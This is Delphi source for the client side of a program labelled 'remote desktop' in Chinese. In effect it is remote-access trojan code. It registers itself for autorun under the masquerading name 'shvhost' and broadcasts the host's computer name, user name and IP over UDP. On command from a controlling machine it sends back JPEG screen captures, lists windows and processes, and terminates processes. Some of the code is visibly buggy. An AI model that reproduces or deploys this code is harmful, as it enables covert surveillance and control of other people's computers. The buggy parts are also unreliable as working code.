vclient.pas

远程桌面

unit vclient;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, NMUDP, jpeg, IdBaseComponent, IdComponent, IdUDPBase,
  IdUDPClient, StdCtrls, WinSock, ExtCtrls, Registry, TLHelp32;

type
  TForm1 = class(TForm)
    CUDP: TNMUDP;
    IdUDPClient1: TIdUDPClient;
    Button1: TButton;
    Timer1: TTimer;
    NMUDP1: TNMUDP;
    Button2: TButton;
    ListBox1: TListBox;
    Button3: TButton;
    Edit1: TEdit;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure CUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: string; Port: Integer);
    procedure Button1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure NMUDP1DataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: string; Port: Integer);
    procedure Button3Click(Sender: TObject);
  private
    procedure Cjt_GetScreen(var Mybmp: TBitmap; DrawCur: Boolean);
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses Math;

{$R *.dfm}
const BufSize = 2048; { 发送每一笔数据的缓冲区大小 }
var
  BmpStream: TMemoryStream;
  LeftSize: Longint; { 发送每一笔数据后剩余的字节数 }
  Enum: Boolean; {是否取各枚举窗口信息，如已取，则开始发送数据}


//函数枚举窗口
function EnumerateWindows(hWnd: hWnd; lParam: lParam): BOOL; stdcall;
var
  TheText: array[0..255] of char;
begin
  if (GetWindowText(hWnd, TheText, 255) <> 0) then
  begin
    Form1.ListBox1.Items.Add(Format('%d=%s', [hWnd, TheText]));
  end;
  Result := TRUE;
end;

//写入注册表，让程序自动运行
procedure RegAutoRun;
var
  ARegistry: TRegistry;
begin
  ARegistry := TRegistry.Create;
 //建立一个TRegistry实例
  with ARegistry do
  begin
    RootKey := HKEY_LOCAL_MACHINE;
    if OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', TRUE) then
      WriteString('shvhost', Application.ExeName);
    CLoseKey;
    Free;
  end;
end;

//得到计算机名
function GetComputerName1: string;
var
  buffer: array[0..MAX_COMPUTERNAME_LENGTH + 1] of char;
  Size: Cardinal;
begin
  Size := MAX_COMPUTERNAME_LENGTH + 1;
  Windows.GetComputerName(@buffer, Size);
  Result := StrPas(buffer);
end;

//得到用户名
function GetUserName1: string;
var
  buffer: array[0..MAX_COMPUTERNAME_LENGTH + 1] of char;
  Size: Cardinal;
begin
  Size := MAX_COMPUTERNAME_LENGTH + 1;
  Windows.GetUserName(@buffer, Size);
  Result := StrPas(buffer);
end;

//取得本机IP
function GetIP: string;
var
  WSData: TWSAData;
  buffer: array[0..63] of char;
  HostEnt: PHostEnt;
  PPInAddr: ^PInAddr;
  IPString: string;
begin
  IPString := '';
  try
    WSAStartUp($101, WSData);
    GetHostName(buffer, SizeOf(buffer));
    HostEnt := GetHostByName(buffer);
    if Assigned(HostEnt) then
    begin
      PPInAddr := @(PInAddr(HostEnt.H_Addr_List^));
      while Assigned(PPInAddr^) do
      begin
        IPString := StrPas(INet_NToA(PPInAddr^^));
        Inc(PPInAddr);
      end;
    end;
    Result := IPString;
  finally
    try
      WSACleanUp;
    except
    end;
  end;
end;


//抓全屏
procedure TForm1.Cjt_GetScreen(var Mybmp: TBitmap; DrawCur: Boolean);
var
  Cursorx, Cursory: Integer;
  dc: hdc;
  Mycan: Tcanvas;
  R: TRect;
  DrawPos: TPoint;
  MyCursor: TIcon;
  hld: hWnd;
  Threadld: dword;
  mp: TPoint;
  pIconInf: TIconInfo;
begin
  Mybmp := TBitmap.Create; {建立BMPMAP }
  Mycan := Tcanvas.Create; {屏幕截取}
  dc := GetWindowDC(0);
  try
    Mycan.Handle := dc;
    R := Rect(0, 0, screen.Width, screen.Height);
    Mybmp.Width := R.Right;
    Mybmp.Height := R.Bottom;
    Mybmp.Canvas.CopyRect(R, Mycan, R);
  finally
    releaseDC(0, dc);
  end;
  Mycan.Handle := 0;
  Mycan.Free;
  if DrawCur then {画上鼠标图象}
  begin
  //  GetCursorPos(DrawPos);
  //  MyCursor := TIcon.Create;
  //  GetCursorPos(mp);
  //  hld := WindowFromPoint(mp);
  //  Threadld := GetWindowThreadProcessId(hld, nil);
  //  AttachThreadInput(GetCurrentThreadId, Threadld, True);
  //  MyCursor.Handle := Getcursor();
  //  AttachThreadInput(GetCurrentThreadId, Threadld, False);
  //  GetIconInfo(MyCursor.Handle,pIconInf);
  //  Cursorx := DrawPos.x - round(pIconInfo.xHotspot);
  //  Cursory := DrawPos.y - roundto(pIconInfo.yHotspot);
  //  Mybmp.Canvas.Draw(Cursorx, Cursory, MyCursor); {画上鼠标}
  //  DeleteObject(pIconInfo.hbmColor); {GetIconInfo 使用时创建了两个bitmap对象. 需要手工释放这两个对象}
  //  DeleteObject(pIconInfo.hbmMask); {否则,调用他后,他会创建一个bitmap,多次调用会产生多个,直至资源耗尽}
  //  MyCursor.ReleaseHandle; {释放数组内存}
  //  MyCursor.Free; {释放鼠标指针}
  end;
end;


//可指定抓屏范围
procedure ScreenCap(LeftPos, TopPos, RightPos, BottomPos: Integer);
var
  RectWidth, RectHeight: Integer;
  SourceDC, DestDC, Bhandle: Integer;
  Bitmap: TBitmap;
  jpeg: TJPEGImage;
begin
  Application.ProcessMessages;
  RectWidth := RightPos - LeftPos;
  RectHeight := BottomPos - TopPos;
  SourceDC := CreateDC('DISPLAY', '', '', nil);
  DestDC := CreateCompatibleDC(SourceDC);
  Bhandle := CreateCompatibleBitmap(SourceDC,
    RectWidth, RectHeight);
  SelectObject(DestDC, Bhandle);
  BitBlt(DestDC, 0, 0, RectWidth, RectHeight, SourceDC,
    LeftPos, TopPos, SRCCOPY);
  BmpStream := BmpStream.Create;
  Bitmap := TBitmap.Create;
  Bitmap.Handle := Bhandle;
  jpeg := TJPEGImage.Create;
  jpeg.Assign(Bitmap);
  jpeg.CompressionQuality := 10;
  jpeg.SaveToStream(BmpStream);
  BmpStream.Position := 0;
  LeftSize := BmpStream.Size;
  ShowMessage(IntToStr(LeftSize));
  Bitmap.Free;
  jpeg.Free;
  DeleteDC(DestDC);
  releaseDC(Bhandle, SourceDC);
  Application.ProcessMessages;
  DeleteFile('c:\aa.jpg'); DeleteFile('c:\aa.bmp');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
//  Application.ShowMainForm:=false;
  Enum := False;
  BmpStream := TMemoryStream.Create;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  BmpStream.Free;
end;

procedure TForm1.CUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
  FromIP: string; Port: Integer);
var
  CtrlCode: array[0..29] of char;
  Buf: array[0..BufSize - 1] of char;
  TmpStr: string;
  SendSize, LeftPos, TopPos, RightPos, BottomPos: Integer;
  Mybmp: TBitmap;
  Myjpg: TJPEGImage;
begin
  CUDP.ReadBuffer(CtrlCode, NumberBytes); { 读取控制码 }
  if CtrlCode[0] + CtrlCode[1] + CtrlCode[2] + CtrlCode[3] = 'show' then
  begin { 控制码前4位为“show”表示主控机发出了抓屏指令 }
    if BmpStream.Size = 0 then { 没有数据可发，必须截屏生成数据 }
    begin
   {   TmpStr := StrPas(CtrlCode);
      TmpStr := Copy(TmpStr, 5, Length(TmpStr) - 4);
      LeftPos := StrToInt(Copy(TmpStr, 1, Pos(':', TmpStr) - 1));
      TmpStr := Copy(TmpStr, Pos(':', TmpStr) + 1, Length(TmpStr)
        - Pos(':', TmpStr));
      TopPos := StrToInt(Copy(TmpStr, 1, Pos(':', TmpStr) - 1));
      TmpStr := Copy(TmpStr, Pos(':', TmpStr) + 1, Length(TmpStr) -
        Pos(':', TmpStr));
      RightPos := StrToInt(Copy(TmpStr, 1, Pos(':', TmpStr) - 1));
      BottomPos := StrToInt(Copy(TmpStr, Pos(':', TmpStr
        ) + 1, Length(TmpStr) - Pos(':', TmpStr)));
      ScreenCap(LeftPos, TopPos, RightPos, BottomPos); {截取屏幕}

      //取得压缩比例
      TmpStr := StrPas(CtrlCode);
      TmpStr := Copy(TmpStr, 5, Length(TmpStr) - 4);
      LeftPos := StrToInt(Copy(TmpStr, 1, Pos(':', TmpStr) - 1));

      //图像转换成JPEG 并压缩
      Mybmp := TBitmap.Create;
      Myjpg := TJPEGImage.Create;
      Cjt_GetScreen(Mybmp, TRUE);
      Myjpg.Assign(Mybmp); {将BMP图象转成JPG格式,便于在互联网上传输}
      Myjpg.CompressionQuality := LeftPos; {JPG文件压缩百分比设置,数字越大图像越清晰,但数据也越大}
      Myjpg.JPEGNeeded;
      Myjpg.Compress;
      Myjpg.SaveToStream(BmpStream); {将JPG图象写入流中}
      Myjpg.Free;
      Mybmp.Free;
      BmpStream.Position := 0; {注意:必须添加此句}
      LeftSize := BmpStream.Size;
    end;

    if LeftSize > BufSize then SendSize := BufSize
    else SendSize := LeftSize;

    BmpStream.ReadBuffer(Buf, SendSize);
    LeftSize := LeftSize - SendSize;

    if LeftSize = 0 then BmpStream.Clear; { 清空流 }
    CUDP.RemoteHost := FromIP; { FromIP为主控机IP地址 }
    CUDP.SendBuffer(Buf, SendSize); { 将数据发到主控机的2222口 }
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  LocalName, LocalIP, LocalUser: string;
begin
  LocalName := GetComputerName1();
  LocalUser := GetUserName1();
  LocalIP := GetIP();
  IdUDPClient1.Host := '255.255.255.255';
  IdUDPClient1.Send('add' + LocalName + ':' + LocalUser + ':' + LocalIP);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  Button1.Click;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  I, J: Integer;
  a: string;
begin
  Enum := TRUE;
  ListBox1.Clear;
  EnumWindows(@EnumerateWindows, 0);
end;

procedure TForm1.NMUDP1DataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: string; Port: Integer);
var
  CtrlCode1: array[0..199] of char;
  Code: string;
  EnumStr: string;
  H: THandle;
  P: dword;
begin
  NMUDP1.ReadBuffer(CtrlCode1, NumberBytes);
  Code := CtrlCode1[0] + CtrlCode1[1]
    + CtrlCode1[2] + CtrlCode1[3];
  NMUDP1.RemoteHost := FromIP;
  if Code = 'Enum' then //取得枚举窗口信息
  begin
    if Enum = False then Button2.Click;
    if ListBox1.Items.Count >= 0 then
    begin
      EnumStr := 'Enum' + ListBox1.Items[0];
      if ListBox1.Items.Count = 1 then
      begin
        Enum := False;
        EnumStr := 'Eend';
        StrpCopy(CtrlCode1, EnumStr);
        NMUDP1.SendBuffer(CtrlCode1, 200);
      end
      else
      begin
        StrpCopy(CtrlCode1, EnumStr);
        NMUDP1.SendBuffer(CtrlCode1, 200);
      end;
      ListBox1.Items.Delete(0);
    end;
  end;
  if Code = 'Proc' then //取得系统进程
  begin
    if Enum = False then Button3.Click;
    if ListBox1.Items.Count >= 0 then
    begin
      EnumStr := 'Proc' + ListBox1.Items[0];
      if ListBox1.Items.Count = 1 then
      begin
        Enum := False;
        EnumStr := 'Pend';
        StrpCopy(CtrlCode1, EnumStr);
        NMUDP1.SendBuffer(CtrlCode1, 200);
      end
      else
      begin
        StrpCopy(CtrlCode1, EnumStr);
        NMUDP1.SendBuffer(CtrlCode1, 200);
      end;
      ListBox1.Items.Delete(0);
    end;
  end;
  if Code = 'Clos' then
  begin
    EnumStr := StrPas(CtrlCode1);
    EnumStr := Copy(EnumStr, 5, Length(EnumStr));
    EnumStr := Trim(EnumStr);
    H := StrToInt(EnumStr);
    GetWindowThreadProcessId(H, @P);
    if P <> 0 then
      TerminateProcess(OpenProcess(PROCESS_TERMINATE, False, P), $FFFFFFFF);
  end;
end;

procedure TForm1.Button3Click(Sender: TObject);
var
  lppe: TProcessEntry32;
  found: Boolean;
  Hand: THandle;
begin
  Enum := TRUE;
  ListBox1.Clear;
  Hand := CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
  found := Process32First(Hand, lppe);
  while found do
  begin
    ListBox1.Items.Add(IntToStr(lppe.th32ProcessID) + '='
      + StrPas(lppe.szExeFile)); //列出所有进程。
    found := Process32Next(Hand, lppe);
  end;
  ListBox1.Items.Delete(0);
end;

end.